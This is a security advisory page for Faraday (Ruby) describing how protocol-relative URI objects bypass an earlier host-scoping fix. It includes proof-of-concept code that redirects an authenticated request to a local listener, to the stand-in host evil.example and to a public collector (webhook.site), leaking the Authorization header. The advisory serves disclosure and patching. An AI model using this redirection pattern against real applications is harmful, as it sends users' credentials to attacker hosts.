GHSA-5RV5-XJ5J-3484

Vulnerability from github – Published: 2026-05-18 14:51 – Updated: 2026-05-18 14:51
VLAI
Summary
Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping
Details

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

  • Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
  • Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
  • Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

  • Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
  • Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
  • Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

  1. Use the current repository checkout and load Faraday from lib/.
  2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
  3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
  4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

  • Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
  • Commands executed:
$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'
  • PoC code (inline):
require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body
  • Exit code: 0
  • stdout (relevant excerpt):
200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn
  • stderr (relevant excerpt):
N/A
  • Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

  • Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
  • Existing CVE for the original string-based issue: CVE-2026-25765
  • Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
  • Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.14.1"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "faraday"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.14.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33637"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T14:51:51Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\n`Faraday::Connection#build_exclusive_url` still allows protocol-relative host override when the request target is provided as a `URI` object instead of a `String`. This bypasses the February 2026 fix for `GHSA-33mh-2634-fwr2` and can redirect a request built from a fixed-base `Faraday::Connection` to an attacker-controlled host while preserving connection-scoped headers such as `Authorization`.\n\n## Affected Component\n\n- **Repository File(s)/Endpoint(s)**:\n  - `lib/faraday/connection.rb`\n  - `lib/faraday/request.rb`\n  - `spec/faraday/connection_spec.rb`\n  - `spec/faraday/request_spec.rb`\n- **Function(s)**:\n  - `Faraday::Connection#build_exclusive_url`\n  - `Faraday::Connection#run_request`\n  - `Faraday::Request#url`\n  - `Faraday::Request#to_env`\n- **Version(s) Tested**:\n  - `Faraday 2.14.1`\n  - repository HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`\n\n## Attacker Profile\n\n- **Who**: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection\n- **Access Required**: Ability to supply data that the application converts to `URI.parse(...)` and passes to `conn.get(...)`, `[conn.post](http://conn.post/)(...)`, or `req.url(...)`\n- **Capability**: Control over a protocol-relative URI such as `URI(\"//evil.example/pwn\")`\n\n## Steps to Reproduce\n\n1. Use the current repository checkout and load Faraday from `lib/`.\n2. Build a fixed-base connection and provide a protocol-relative `URI` object to `req.url`.\n3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.\n4. Observe that the connection-scoped `Authorization` header remains attached to the off-host request.\n\n### Verification Evidence\n\n- **Environment**: macOS, Ruby from local environment, Faraday `2.14.1`, `faraday-net_http`, local WEBrick listener on `127.0.0.1:4567`, HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`\n- **Commands executed**:\n\n```bash\n$ ruby -e \u0027require \"webrick\"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: \"127.0.0.1\", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc(\"/\") { |req, res| res.status = 200; res.body = \"host=#{req.host}\\nauth=#{req[\"Authorization\"]}\\npath=#{req.path}\\n\" }; trap(\"INT\") { server.shutdown }; server.start\u0027\n$ ruby -Ilib -e \u0027require \"faraday\"; require \"faraday/net_http\"; conn = Faraday.new(url: \"http://trusted.example/base\", headers: {\"Authorization\" =\u003e \"Bearer secret-token\"}) { |f| f.adapter :net_http }; target = [\"//127.0.0.1:4567\", \"/pwn\"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body\u0027\n```\n- **PoC code** (inline):\n\n```ruby\nrequire \"faraday\"\nrequire \"faraday/net_http\"\n\nconn = Faraday.new(url: \"http://trusted.example/base\", headers: {\n  \"Authorization\" =\u003e \"Bearer secret-token\"\n}) { |f| f.adapter :net_http }\n\ntarget = [\"//127.0.0.1:4567\", \"/pwn\"].join\nresp = conn.get(URI(target))\n\nputs resp.status\nputs resp.body\n```\n- **Exit code**: `0`\n- **stdout** (relevant excerpt):\n\n```text\n200\nhost=127.0.0.1\nauth=Bearer secret-token\npath=/pwn\n```\n- **stderr** (relevant excerpt):\n\n```text\nN/A\n```\n- **Artifacts**: none\n\n### Additional External Confirmation\n\nThe issue was also independently reproduced against a public HTTP collector on Faraday `2.14.1` using the default `net_http` adapter:\n\n```ruby\nrequire \"faraday\"\nrequire \"faraday/net_http\"\n\nconn = Faraday.new(\n  url: \"http://trusted.example/base\",\n  headers: { \"Authorization\" =\u003e \"Bearer secret-token\" }\n) { |f| f.adapter :net_http }\n\ntarget = [\"//webhook.site\", \"/\u003ccollector-id\u003e\"].join\nresp = conn.get(URI(target))\nresp.status\n# =\u003e 200\nresp.url.host\n# =\u003e \"webhook.site\"\n```\n\nThis external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.\n\n## Supporting Materials\n\n- Existing advisory for the original string-based issue: `GHSA-33mh-2634-fwr2`\n- Existing CVE for the original string-based issue: `CVE-2026-25765`\n- Existing regression tests for the string-only fix:\n  - `spec/faraday/connection_spec.rb:314-345`\n- Existing test proving supported `URI` request input:\n  - `spec/faraday/request_spec.rb:26-31`\n\n## Impact\n\nThe direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the\nconnection carries default headers or query parameters, those values are forwarded to the attacker-selected host.",
  "id": "GHSA-5rv5-xj5j-3484",
  "modified": "2026-05-18T14:51:51Z",
  "published": "2026-05-18T14:51:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lostisland/faraday/security/advisories/GHSA-5rv5-xj5j-3484"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-33mh-2634-fwr2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lostisland/faraday"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…